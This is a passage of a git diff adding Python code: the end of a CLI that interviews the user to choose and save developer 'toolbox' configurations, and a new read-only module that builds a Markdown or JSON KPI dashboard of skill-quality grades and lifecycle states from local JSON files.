+    out: list[tuple[str, str]] = []
+    for name in STARTER_NAMES:
+        label = name
+        if name in existing_active:
+            label = f"{name} (already active)"
+        out.append((name, label))
+    return tuple(out)
+
+
+def _suggestion_choices(profile: BehaviorProfile | None) -> tuple[tuple[str, str], ...]:
+    if profile is None or not profile.suggestions:
+        return ()
+    out: list[tuple[str, str]] = []
+    for i, s in enumerate(profile.suggestions, start=1):
+        name = s.proposed.get("name", f"suggestion-{i}")
+        out.append((str(i), f"{name}  ({s.kind}, {s.evidence}x)"))
+    return tuple(out)
+
+
+def build_questions(state: RepoState,
+                    profile: BehaviorProfile | None) -> tuple[InterviewQuestion, ...]:
+    questions: list[InterviewQuestion] = []
+
+    # Q1: which starter toolboxes to activate?
+    default_starters = "ship-it,security-sweep" if state.is_blank else ""
+    questions.append(InterviewQuestion(
+        id="starters",
+        prompt=(
+            "Which starter toolboxes should be activated? "
+            "Comma-separated list or blank to skip."
+        ),
+        choices=_starter_choices(state.existing_active),
+        multi=True,
+        default=default_starters or None,
+    ))
+
+    # Q2: which mined suggestions to accept (skipped if profile empty)
+    sugg = _suggestion_choices(profile)
+    if sugg:
+        questions.append(InterviewQuestion(
+            id="suggestions",
+            prompt=(
+                "Accept any behaviour-miner suggestions? "
+                "Comma-separated indices (1-based) or blank."
+            ),
+            choices=sugg,
+            multi=True,
+            default=None,
+        ))
+
+    # Q3: scope preference \u2014 drives scope.analysis on newly-added toolboxes
+    questions.append(InterviewQuestion(
+        id="analysis",
+        prompt="Default analysis mode for new toolboxes?",
+        choices=(
+            ("dynamic", "dynamic   (diff \u2192 graph \u2192 full, recommended)"),
+            ("diff", "diff      (changed files only)"),
+            ("graph-blast", "graph-blast  (changed files + graph neighbours)"),
+            ("full", "full      (every tracked file)"),
+        ),
+        multi=False,
+        default="dynamic",
+    ))
+
+    return tuple(questions)
+
+
+# \u2500\u2500 Answer handling \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+def _parse_list(raw: str | None) -> tuple[str, ...]:
+    if not raw:
+        return ()
+    return tuple(part.strip() for part in raw.split(",") if part.strip())
+
+
+def _filter_known_starters(picks: Sequence[str]) -> tuple[str, ...]:
+    return tuple(p for p in picks if p in STARTER_NAMES)
+
+
+def _resolve_suggestion_indices(
+    picks: Sequence[str],
+    profile: BehaviorProfile | None,
+) -> tuple[dict, ...]:
+    if profile is None or not profile.suggestions:
+        return ()
+    out: list[dict] = []
+    for raw in picks:
+        try:
+            idx = int(raw)
+        except ValueError:
+            continue
+        if 1 <= idx <= len(profile.suggestions):
+            sug = profile.suggestions[idx - 1]
+            out.append(dict(sug.proposed))
+    return tuple(out)
+
+
+def compose_result(
+    state: RepoState,
+    profile: BehaviorProfile | None,
+    answers: dict[str, str | None],
+    skipped: bool = False,
+) -> InterviewResult:
+    if skipped:
+        return InterviewResult(activated=(), accepted_suggestions=(),
+                               skipped=True, notes=("user skipped interview",))
+
+    starters = _filter_known_starters(_parse_list(answers.get("starters")))
+    suggestions = _resolve_suggestion_indices(
+        _parse_list(answers.get("suggestions")), profile,
+    )
+    notes: list[str] = []
+
+    raw_starters = _parse_list(answers.get("starters"))
+    dropped = [s for s in raw_starters if s not in STARTER_NAMES]
+    if dropped:
+        notes.append(f"ignored unknown starter(s): {', '.join(dropped)}")
+
+    analysis = answers.get("analysis") or "dynamic"
+    if suggestions:
+        # Patch the proposed analysis mode into every accepted suggestion
+        # so they honour the user's chosen default.
+        suggestions = tuple(
+            _apply_analysis_override(s, analysis) for s in suggestions
+        )
+
+    return InterviewResult(
+        activated=starters,
+        accepted_suggestions=suggestions,
+        skipped=False,
+        notes=tuple(notes),
+    )
+
+
+def _apply_analysis_override(proposed: dict, analysis: str) -> dict:
+    scope = dict(proposed.get("scope", {}) or {})
+    scope["analysis"] = analysis
+    out = dict(proposed)
+    out["scope"] = scope
+    return out
+
+
+# \u2500\u2500 Interactive driver \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+def _render_question(q: InterviewQuestion, stream=sys.stdout) -> None:
+    print(f"\n> {q.prompt}", file=stream)
+    for value, label in q.choices:
+        print(f"    {value}: {label}", file=stream)
+    if q.default:
+        print(f"  (default: {q.default})", file=stream)
+
+
+def run_interactive(
+    state: RepoState,
+    profile: BehaviorProfile | None,
+    input_fn: Callable[[str], str] = input,
+    stream=None,
+) -> InterviewResult:
+    """
+    Drive the interview via input_fn (defaults to stdin's input()).
+    Typing "skip" at the first prompt aborts the whole flow.
+    """
+    if stream is None:
+        stream = sys.stdout
+    questions = build_questions(state, profile)
+    answers: dict[str, str | None] = {}
+
+    print("[toolbox] Intent interview \u2014 type 'skip' on any prompt to abort.",
+          file=stream)
+    print(f"  repo: {state.repo_root}", file=stream)
+    print(
+        f"  state: {'blank' if state.is_blank else 'populated'} "
+        f"(is_git={state.is_git_repo}, commits={state.commit_count})",
+        file=stream,
+    )
+
+    for q in questions:
+        _render_question(q, stream=stream)
+        try:
+            raw = input_fn("answer> ").strip()
+        except EOFError:
+            raw = ""
+        if raw.lower() == "skip":
+            return InterviewResult(
+                activated=(), accepted_suggestions=(), skipped=True,
+                notes=(f"user typed 'skip' at question {q.id!r}",),
+            )
+        answers[q.id] = raw or q.default
+
+    return compose_result(state, profile, answers, skipped=False)
+
+
+# \u2500\u2500 Non-interactive driver \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+_PRESETS: dict[str, dict[str, str]] = {
+    "blank": {
+        "starters": "ship-it,security-sweep,fresh-repo-init",
+        "analysis": "dynamic",
+    },
+    "existing": {
+        "starters": "ship-it,refactor-safety",
+        "analysis": "dynamic",
+    },
+    "docs-heavy": {
+        "starters": "docs-review",
+        "analysis": "diff",
+    },
+    "security-first": {
+        "starters": "security-sweep",
+        "analysis": "full",
+    },
+}
+
+
+def run_noninteractive(
+    state: RepoState,
+    profile: BehaviorProfile | None,
+    answers: dict[str, str | None],
+) -> InterviewResult:
+    return compose_result(state, profile, answers, skipped=False)
+
+
+def preset_answers(preset: str) -> dict[str, str]:
+    if preset not in _PRESETS:
+        raise KeyError(f"Unknown preset {preset!r}; known: {sorted(_PRESETS)}")
+    return dict(_PRESETS[preset])
+
+
+# \u2500\u2500 Apply to ToolboxSet \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+# Where starter JSON lives \u2014 same path toolbox.py uses.
+_TEMPLATES_DIR = Path(__file__).parent.parent / "docs" / "toolbox" / "templates"
+
+
+def _load_template(name: str) -> dict | None:
+    path = _TEMPLATES_DIR / f"{name}.json"
+    if not path.exists():
+        return None
+    try:
+        return json.loads(path.read_text(encoding="utf-8"))
+    except json.JSONDecodeError:
+        return None
+
+
+def apply_result(
+    result: InterviewResult,
+    tset: ToolboxSet | None = None,
+) -> ToolboxSet:
+    """
+    Fold the interview result into the given ToolboxSet (or the current
+    global set if not supplied). Returns the new, immutable set. Callers
+    persist via save_global() at their discretion.
+    """
+    base = tset if tset is not None else load_global()
+    if result.skipped:
+        return base
+
+    out = base
+    # 1. Ensure the chosen starters are present in the set (load from
+    #    template if not already there), then activate each one.
+    for name in result.activated:
+        if name not in out.toolboxes:
+            raw = _load_template(name)
+            if raw is None:
+                continue
+            out = out.with_toolbox(Toolbox.from_dict(name, raw))
+        if name not in out.active:
+            out = out.activate(name)
+
+    # 2. Register and activate mined suggestions. Each accepted suggestion's
+    #    `proposed` dict is turned into a Toolbox. Suggestions that lack a
+    #    name are skipped defensively.
+    for proposed in result.accepted_suggestions:
+        name = str(proposed.get("name") or "").strip()
+        if not name:
+            continue
+        if name in out.toolboxes:
+            # Respect user's existing config; re-activate if needed.
+            if name not in out.active:
+                out = out.activate(name)
+            continue
+        body = {k: v for k, v in proposed.items() if k != "name"}
+        out = out.with_toolbox(Toolbox.from_dict(name, body))
+        out = out.activate(name)
+
+    return out
+
+
+# \u2500\u2500 CLI \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
+
+
+def _parse_accept_args(items: Sequence[str] | None) -> dict[str, str]:
+    out: dict[str, str] = {}
+    if not items:
+        return out
+    for raw in items:
+        if "=" not in raw:
+            continue
+        k, v = raw.split("=", 1)
+        k = k.strip()
+        if k:
+            out[k] = v.strip()
+    return out
+
+
+def cmd_detect(args: argparse.Namespace) -> int:
+    state = detect_state(Path(args.repo) if args.repo else None)
+    print(json.dumps(state.to_dict(), indent=2))
+    return 0
+
+
+def cmd_init(args: argparse.Namespace) -> int:
+    repo_root = Path(args.repo) if args.repo else None
+    state = detect_state(repo_root)
+    profile = load_profile()
+    if profile is None and args.mine:
+        profile = build_profile(repo_root=repo_root)
+
+    if args.skip:
+        result = InterviewResult(
+            activated=(), accepted_suggestions=(),
+            skipped=True, notes=("--skip passed",),
+        )
+    elif args.non_interactive or args.preset:
+        answers: dict[str, str | None] = dict(_parse_accept_args(args.accept))
+        if args.preset:
+            preset = preset_answers(args.preset)
+            # CLI --accept values override the preset values.
+            for k, v in preset.items():
+                answers.setdefault(k, v)
+        if args.starters is not None:
+            answers["starters"] = args.starters
+        if args.suggestions is not None:
+            answers["suggestions"] = args.suggestions
+        if args.analysis is not None:
+            answers["analysis"] = args.analysis
+        result = run_noninteractive(state, profile, answers)
+    else:
+        result = run_interactive(state, profile)
+
+    payload: dict[str, Any] = {
+        "state": state.to_dict(),
+        "result": result.to_dict(),
+    }
+    if args.apply and not result.skipped:
+        new_set = apply_result(result)
+        save_global(new_set)
+        payload["applied"] = True
+        payload["config_path"] = str(global_config_path())
+    else:
+        payload["applied"] = False
+
+    print(json.dumps(payload, indent=2))
+    return 0
+
+
+def build_parser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(prog="intent_interview")
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    sp = sub.add_parser("detect", help="Print the current RepoState as JSON")
+    sp.add_argument("--repo", help="Repo root (default: cwd)")
+    sp.set_defaults(func=cmd_detect)
+
+    sp = sub.add_parser("init", help="Run the intent interview")
+    sp.add_argument("--repo", help="Repo root (default: cwd)")
+    sp.add_argument(
+        "--non-interactive", action="store_true",
+        help="Do not prompt; use --accept/--preset to supply answers.",
+    )
+    sp.add_argument(
+        "--skip", action="store_true",
+        help="Skip the interview; emit an empty result.",
+    )
+    sp.add_argument(
+        "--preset", choices=sorted(_PRESETS),
+        help="Use a canned answer set (implies --non-interactive).",
+    )
+    sp.add_argument(
+        "--accept", nargs="*", metavar="KEY=VALUE",
+        help="Structured answers in key=value form.",
+    )
+    sp.add_argument("--starters", help="Comma-separated starter names.")
+    sp.add_argument("--suggestions", help="Comma-separated 1-based indices.")
+    sp.add_argument(
+        "--analysis", choices=("dynamic", "diff", "graph-blast", "full"),
+        help="Default analysis mode for new toolboxes.",
+    )
+    sp.add_argument(
+        "--mine", action="store_true",
+        help="Mine behaviour first if no user profile exists on disk.",
+    )
+    sp.add_argument(
+        "--apply", action="store_true",
+        help="Persist the resulting ToolboxSet to the global config.",
+    )
+    sp.set_defaults(func=cmd_init)
+
+    return p
+
+
+def main(argv: list[str] | None = None) -> int:
+    args = build_parser().parse_args(argv)
+    return args.func(args)
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/src/kpi_dashboard.py b/src/kpi_dashboard.py
new file mode 100644
index 0000000000000000000000000000000000000000..d714a08cc367e66ab4100d23082e58cacfef8d05
--- /dev/null
+++ b/src/kpi_dashboard.py
@@ -0,0 +1,563 @@
+#!/usr/bin/env python3
+"""
+kpi_dashboard.py -- Skill-quality KPI report generator.
+
+Phase 4 of the skill-quality plan. Reads the persistence sinks the
+scorer and lifecycle already write and emits a single Markdown digest
+the user can commit, share, or watch in a file viewer:
+
+  - ``~/.claude/skill-quality/.json``          (quality scores)
+  - ``~/.claude/skill-quality/.lifecycle.json`` (lifecycle tier)
+  - ``//SKILL.md``                 (category frontmatter)
+  - ``/.md``                       (category frontmatter)
+
+Design notes:
+
+  - Pure read-only. Never mutates sidecars or skill files.
+  - All aggregation happens in pure functions returning dataclasses so
+    the CLI output, JSON output, and tests see the same shape.
+  - Missing category falls back to ``skill_category.infer_category`` on
+    the skill's tags — keeps the report useful before backfill has run.
+  - Archive candidates still appear in the report even when their
+    quality sidecar was removed, because the lifecycle sidecar is the
+    authoritative record for non-active tiers.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import sys
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Iterable
+
+from ctx_lifecycle import (
+    LifecycleSources,
+    STATE_ACTIVE,
+    STATE_ARCHIVE,
+    STATE_DEMOTE,
+    STATE_WATCH,
+    load_lifecycle_state,
+)
+from skill_category import CATEGORIES, infer_category, read_existing_category
+from skill_quality import QualityScore, load_quality
+from ctx.core.wiki.wiki_utils import parse_frontmatter_and_body
+
+_logger = logging.getLogger(__name__)
+
+_GRADES: tuple[str, ...] = ("A", "B", "C", "D", "F")
+_UNCATEGORIZED = "uncategorized"
+_LIFECYCLE_STATES: tuple[str, ...] = (
+    STATE_ACTIVE, STATE_WATCH, STATE_DEMOTE, STATE_ARCHIVE,
+)
+
+
+# ────────────────────────────────────────────────────────────────────
+# Aggregation types
+# ────────────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class EntityRow:
+    """One slug's dashboard-relevant facts, joined across sinks."""
+
+    slug: str
+    subject_type: str                     # "skill" | "agent"
+    category: str                         # always a concrete string (never None)
+    grade: str                            # "A"/"B"/"C"/"D"/"F" or "" if no score
+    score: float                          # 0..1; 0.0 if no score
+    hard_floor: str | None
+    lifecycle_state: str                  # one of _LIFECYCLE_STATES
+    consecutive_d_count: int
+    computed_at: str                      # ISO-8601 or ""
+
+
+@dataclass(frozen=True)
+class DashboardSummary:
+    """The full aggregation — serializable to JSON, renderable to Markdown."""
+
+    generated_at: str
+    total: int
+    by_subject: dict[str, int] = field(default_factory=dict)
+    grade_counts: dict[str, int] = field(default_factory=dict)
+    lifecycle_counts: dict[str, int] = field(default_factory=dict)
+    category_breakdown: list[dict[str, Any]] = field(default_factory=list)
+    hard_floor_counts: dict[str, int] = field(default_factory=dict)
+    low_quality_candidates: list[dict[str, Any]] = field(default_factory=list)
+    archived: list[dict[str, Any]] = field(default_factory=list)
+
+    def to_dict(self) -> dict[str, Any]:
+        return {
+            "generated_at": self.generated_at,
+            "total": self.total,
+            "by_subject": dict(self.by_subject),
+            "grade_counts": dict(self.grade_counts),
+            "lifecycle_counts": dict(self.lifecycle_counts),
+            "category_breakdown": [dict(c) for c in self.category_breakdown],
+            "hard_floor_counts": dict(self.hard_floor_counts),
+            "low_quality_candidates": [dict(c) for c in self.low_quality_candidates],
+            "archived": [dict(a) for a in self.archived],
+        }
+
+
+# ────────────────────────────────────────────────────────────────────
+# Category resolution
+# ────────────────────────────────────────────────────────────────────
+
+
+def _skill_source_path(slug: str, sources: LifecycleSources) -> Path | None:
+    skill_path = sources.skills_dir / slug / "SKILL.md"
+    if skill_path.is_file():
+        return skill_path
+    agent_path = sources.agents_dir / f"{slug}.md"
+    if agent_path.is_file():
+        return agent_path
+    return None
+
+
+def _resolve_category(slug: str, sources: LifecycleSources) -> str:
+    """Read existing category, else infer from tags, else uncategorized."""
+    path = _skill_source_path(slug, sources)
+    if path is None:
+        return _UNCATEGORIZED
+    try:
+        raw = path.read_text(encoding="utf-8", errors="replace")
+    except OSError:
+        return _UNCATEGORIZED
+    existing = read_existing_category(raw)
+    if existing in CATEGORIES:
+        return existing
+    fm, _ = parse_frontmatter_and_body(raw)
+    tags_raw = fm.get("tags", []) if isinstance(fm, dict) else []
+    if isinstance(tags_raw, list):
+        tags: Iterable[str] = [t for t in tags_raw if isinstance(t, str)]
+    elif isinstance(tags_raw, str):
+        tags = [p.strip() for p in tags_raw.split(",") if p.strip()]
+    else:
+        tags = []
+    inferred = infer_category(tags)
+    return inferred or _UNCATEGORIZED
+
+
+# ────────────────────────────────────────────────────────────────────
+# Row building
+# ────────────────────────────────────────────────────────────────────
+
+
+def _iter_quality_slugs(sidecar_dir: Path) -> list[str]:
+    if not sidecar_dir.is_dir():
+        return []
+    out: list[str] = []
+    for path in sorted(sidecar_dir.glob("*.json")):
+        name = path.name
+        if name.endswith(".lifecycle.json"):
+            continue
+        # Skip internal state files (dotfiles like .hook-state.json) —
+        # they share the sidecar directory but are not entity slugs and
+        # fail the strict slug validator downstream.
+        if name.startswith("."):
+            continue
+        out.append(path.stem)
+    return out
+
+
+def _iter_lifecycle_slugs(sidecar_dir: Path) -> list[str]:
+    if not sidecar_dir.is_dir():
+        return []
+    suffix = ".lifecycle.json"
+    return sorted(p.name[: -len(suffix)] for p in sidecar_dir.glob(f"*{suffix}"))
+
+
+def _build_row(
+    slug: str,
+    *,
+    score: QualityScore | None,
+    lifecycle_state: str,
+    consecutive_d_count: int,
+    sources: LifecycleSources,
+) -> EntityRow:
+    subject = score.subject_type if score is not None else _guess_subject(slug, sources)
+    return EntityRow(
+        slug=slug,
+        subject_type=subject,
+        category=_resolve_category(slug, sources),
+        grade=(score.grade if score is not None else ""),
+        score=(score.score if score is not None else 0.0),
+        hard_floor=(score.hard_floor if score is not None else None),
+        lifecycle_state=lifecycle_state,
+        consecutive_d_count=consecutive_d_count,
+        computed_at=(score.computed_at if score is not None else ""),
+    )
+
+
+def _guess_subject(slug: str, sources: LifecycleSources) -> str:
+    """Used only when no quality sidecar exists (archived-and-cleared case)."""
+    if (sources.skills_dir / slug / "SKILL.md").is_file():
+        return "skill"
+    if (sources.agents_dir / f"{slug}.md").is_file():
+        return "agent"
+    return "skill"
+
+
+def collect_rows(
+    *, sources: LifecycleSources,
+) -> list[EntityRow]:
+    """Walk both sinks and return one row per known slug (union)."""
+    quality_slugs = set(_iter_quality_slugs(sources.sidecar_dir))
+    lifecycle_slugs = set(_iter_lifecycle_slugs(sources.sidecar_dir))
+    all_slugs = sorted(quality_slugs | lifecycle_slugs)
+    rows: list[EntityRow] = []
+    for slug in all_slugs:
+        try:
+            score = load_quality(slug, sidecar_dir=sources.sidecar_dir)
+        except (json.JSONDecodeError, ValueError, OSError) as exc:
+            _logger.warning("kpi_dashboard: skipping %s: %s", slug, exc)
+            score = None
+        lc = load_lifecycle_state(slug, sidecar_dir=sources.sidecar_dir)
+        if lc is not None:
+            state = lc.state
+            streak = lc.consecutive_d_count
+        else:
+            state = STATE_ACTIVE
+            streak = 0
+        rows.append(
+            _build_row(
+                slug,
+                score=score,
+                lifecycle_state=state,
+                consecutive_d_count=streak,
+                sources=sources,
+            )
+        )
+    return rows
+
+
+# ────────────────────────────────────────────────────────────────────
+# Aggregation
+# ────────────────────────────────────────────────────────────────────
+
+
+def _grade_key(grade: str) -> str:
+    """Normalize blank grades to 'F' for counting — no score ≈ worst signal."""
+    return grade if grade in _GRADES else "F"
+
+
+def aggregate(
+    rows: list[EntityRow], *, now: datetime | None = None, top_n: int = 10,
+) -> DashboardSummary:
+    now = now or datetime.now(timezone.utc)
+
+    by_subject: dict[str, int] = {}
+    grade_counts: dict[str, int] = {g: 0 for g in _GRADES}
+    lifecycle_counts: dict[str, int] = {s: 0 for s in _LIFECYCLE_STATES}
+    hard_floor_counts: dict[str, int] = {}
+
+    category_buckets: dict[str, list[EntityRow]] = {c: [] for c in CATEGORIES}
+    category_buckets[_UNCATEGORIZED] = []
+
+    for r in rows:
+        by_subject[r.subject_type] = by_subject.get(r.subject_type, 0) + 1
+        grade_counts[_grade_key(r.grade)] += 1
+        lifecycle_counts[r.lifecycle_state] = (
+            lifecycle_counts.get(r.lifecycle_state, 0) + 1
+        )
+        if r.hard_floor:
+            hard_floor_counts[r.hard_floor] = (
+                hard_floor_counts.get(r.hard_floor, 0) + 1
+            )
+        bucket = r.category if r.category in category_buckets else _UNCATEGORIZED
+        category_buckets[bucket].append(r)
+
+    category_breakdown: list[dict[str, Any]] = []
+    for cat, cat_bucket in category_buckets.items():
+        if not cat_bucket:
+            continue
+        scored = [r for r in cat_bucket if r.grade in _GRADES]
+        avg_score = (
+            sum(r.score for r in scored) / len(scored) if scored else 0.0
+        )
+        mix = {g: 0 for g in _GRADES}
+        for r in cat_bucket:
+            mix[_grade_key(r.grade)] += 1
+        category_breakdown.append(
+            {
+                "category": cat,
+                "count": len(cat_bucket),
+                "avg_score": round(avg_score, 4),
+                "grade_mix": mix,
+            }
+        )
+    # Canonical order: taxonomy first, then uncategorized.
+    _rank = {c: i for i, c in enumerate(CATEGORIES)}
+    _rank[_UNCATEGORIZED] = len(CATEGORIES)
+    category_breakdown.sort(key=lambda c: _rank.get(c["category"], 999))
+
+    # Low-quality candidates: D/F grade, sorted by (streak desc, score asc).
+    candidates = [
+        r for r in rows
+        if _grade_key(r.grade) in ("D", "F")
+        and r.lifecycle_state in (STATE_ACTIVE, STATE_WATCH)
+    ]
+    candidates.sort(key=lambda r: (-r.consecutive_d_count, r.score))
+    low_quality = [
+        {
+            "slug": r.slug,
+            "subject_type": r.subject_type,
+            "category": r.category,
+            "grade": r.grade or "F",
+            "score": round(r.score, 4),
+            "lifecycle_state": r.lifecycle_state,
+            "consecutive_d_count": r.consecutive_d_count,
+            "hard_floor": r.hard_floor,
+        }
+        for r in candidates[: max(0, top_n)]
+    ]
+
+    archived = [
+        {
+            "slug": r.slug,
+            "subject_type": r.subject_type,
+            "category": r.category,
+            "last_grade": r.grade or "",
+            "computed_at": r.computed_at,
+        }
+        for r in rows if r.lifecycle_state == STATE_ARCHIVE
+    ]
+
+    return DashboardSummary(
+        generated_at=now.isoformat(timespec="seconds"),
+        total=len(rows),
+        by_subject=by_subject,
+        grade_counts=grade_counts,
+        lifecycle_counts=lifecycle_counts,
+        category_breakdown=category_breakdown,
+        hard_floor_counts=hard_floor_counts,
+        low_quality_candidates=low_quality,
+        archived=archived,
+    )
+
+
+# ────────────────────────────────────────────────────────────────────
+# Markdown rendering
+# ────────────────────────────────────────────────────────────────────
+
+
+def _pct(n: int, total: int) -> str:
+    if total <= 0:
+        return "—"
+    return f"{(100.0 * n / total):.1f}%"
+
+
+def _render_grade_row(grade: str, count: int, total: int) -> str:
+    return f"| {grade} | {count} | {_pct(count, total)} |"
+
+
+def render_markdown(summary: DashboardSummary) -> str:
+    """Render a Markdown digest — one file, commit-friendly."""
+    out: list[str] = []
+    out.append("# Skill Quality KPI Dashboard")
+    out.append("")
+    out.append(f"_Generated: {summary.generated_at}_")
+    out.append("")
+    out.append(f"**Total entities:** {summary.total}")
+    if summary.by_subject:
+        parts = [
+            f"{subject}: {count}"
+            for subject, count in sorted(summary.by_subject.items())
+        ]
+        out.append(f"**By subject:** {'  ·  '.join(parts)}")
+    out.append("")
+
+    # Grade distribution
+    out.append("## Grade distribution")
+    out.append("")
+    out.append("| Grade | Count | Share |")
+    out.append("| ----- | ----: | ----: |")
+    for g in _GRADES:
+        out.append(_render_grade_row(g, summary.grade_counts.get(g, 0), summary.total))
+    out.append("")
+
+    # Lifecycle
+    out.append("## Lifecycle tiers")
+    out.append("")
+    out.append("| State | Count |")
+    out.append("| ----- | ----: |")
+    for s in _LIFECYCLE_STATES:
+        out.append(f"| {s} | {summary.lifecycle_counts.get(s, 0)} |")
+    out.append("")
+
+    # Hard floors
+    if summary.hard_floor_counts:
+        out.append("## Hard floors active")
+        out.append("")
+        out.append("| Reason | Count |")
+        out.append("| ------ | ----: |")
+        for reason, count in sorted(
+            summary.hard_floor_counts.items(), key=lambda kv: (-kv[1], kv[0]),
+        ):
+            out.append(f"| {reason} | {count} |")
+        out.append("")
+
+    # Category breakdown
+    out.append("## By category")
+    out.append("")
+    out.append("| Category | Count | Avg score | A | B | C | D | F |")
+    out.append("| -------- | ----: | --------: | -: | -: | -: | -: | -: |")
+    for entry in summary.category_breakdown:
+        mix = entry["grade_mix"]
+        out.append(
+            "| {cat} | {count} | {avg:.3f} | {a} | {b} | {c} | {d} | {f} |".format(
+                cat=entry["category"],
+                count=entry["count"],
+                avg=entry["avg_score"],
+                a=mix.get("A", 0), b=mix.get("B", 0), c=mix.get("C", 0),
+                d=mix.get("D", 0), f=mix.get("F", 0),
+            )
+        )
+    out.append("")
+
+    # Low-quality candidates
+    out.append("## Top demotion candidates")
+    out.append("")
+    if not summary.low_quality_candidates:
+        out.append("_No active D/F-grade entries — corpus is healthy._")
+    else:
+        out.append(
+            "| Slug | Subject | Category | Grade | Score | State | D-streak | Hard floor |"
+        )
+        out.append(
+            "| ---- | ------- | -------- | :---: | ----: | ----- | -------: | ---------- |"
+        )
+        for c in summary.low_quality_candidates:
+            out.append(
+                "| {slug} | {subj} | {cat} | {grade} | {score:.3f} | {state} | {streak} | {floor} |".format(
+                    slug=c["slug"],
+                    subj=c["subject_type"],
+                    cat=c["category"],
+                    grade=c["grade"],
+                    score=c["score"],
+                    state=c["lifecycle_state"],
+                    streak=c["consecutive_d_count"],
+                    floor=c.get("hard_floor") or "—",
+                )
+            )
+    out.append("")
+
+    # Archived
+    out.append("## Archived (restorable)")
+    out.append("")
+    if not summary.archived:
+        out.append("_None._")
+    else:
+        out.append("| Slug | Subject | Category | Last grade | Computed at |")
+        out.append("| ---- | ------- | -------- | :--------: | ----------- |")
+        for a in summary.archived:
+            out.append(
+                "| {slug} | {subj} | {cat} | {grade} | {at} |".format(
+                    slug=a["slug"],
+                    subj=a["subject_type"],
+                    cat=a["category"],
+                    grade=a["last_grade"] or "—",
+                    at=a["computed_at"] or "—",
+                )
+            )
+    out.append("")
+
+    return "\n".join(out) + "\n"
+
+
+# ────────────────────────────────────────────────────────────────────
+# CLI
+# ────────────────────────────────────────────────────────────────────
+
+
+def _build_sources_from_config() -> LifecycleSources:
+    from ctx_config import cfg
+    from skill_quality import default_sidecar_dir
+    return LifecycleSources(
+        skills_dir=cfg.skills_dir,
+        agents_dir=cfg.agents_dir,
+        sidecar_dir=default_sidecar_dir(),
+    )
+
+
+def generate(
+    *, sources: LifecycleSources, top_n: int = 10, now: datetime | None = None,
+) -> DashboardSummary:
+    rows = collect_rows(sources=sources)
+    return aggregate(rows, now=now, top_n=top_n)
+
+
+def cmd_render(args: argparse.Namespace) -> int:
+    sources = _build_sources_from_config()
+    summary = generate(sources=sources, top_n=args.limit)
+    if args.json:
+        payload = json.dumps(summary.to_dict(), indent=2, sort_keys=True)
+        if args.out:
+            Path(args.out).write_text(payload, encoding="utf-8")
+        else:
+            print(payload)
+        return 0
+    md = render_markdown(summary)
+    if args.out:
+        Path(args.out).write_text(md, encoding="utf-8")
+        print(f"Wrote {args.out}")
+    else:
+        print(md)
+    return 0
+
+
+def cmd_summary(args: argparse.Namespace) -> int:
+    sources = _build_sources_from_config()
+    summary = generate(sources=sources, top_n=0)
+    print(f"Total: {summary.total}")
+    for g in _GRADES:
+        print(f"  {g}: {summary.grade_counts.get(g, 0)}")
+    print("Lifecycle:")
+    for s in _LIFECYCLE_STATES:
+        print(f"  {s}: {summary.lifecycle_counts.get(s, 0)}")
+    return 0
+
+
+def build_argparser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(
+        prog="kpi_dashboard",
+        description="Render the skill-quality KPI dashboard.",
+    )
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    r = sub.add_parser("render", help="Render Markdown or JSON dashboard")
+    r.add_argument("--out", help="Write to this path instead of stdout")
+    r.add_argument("--json", action="store_true", help="Emit JSON instead of Markdown")
+    r.add_argument("--limit", type=int, default=10,
+                   help="Max rows in the demotion-candidates section")
+    r.set_defaults(func=cmd_render)
+
+    s = sub.add_parser("summary", help="Print a terse one-screen summary")
+    s.set_defaults(func=cmd_summary)
+
+    return p
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = build_argparser()
+    args = parser.parse_args(argv)
+    return int(args.func(args))
+
+
+if __name__ == "__main__":
+    sys.exit(main())
+
+
+__all__ = [
+    "DashboardSummary",
+    "EntityRow",
+    "aggregate",
+    "collect_rows",
+    "generate",
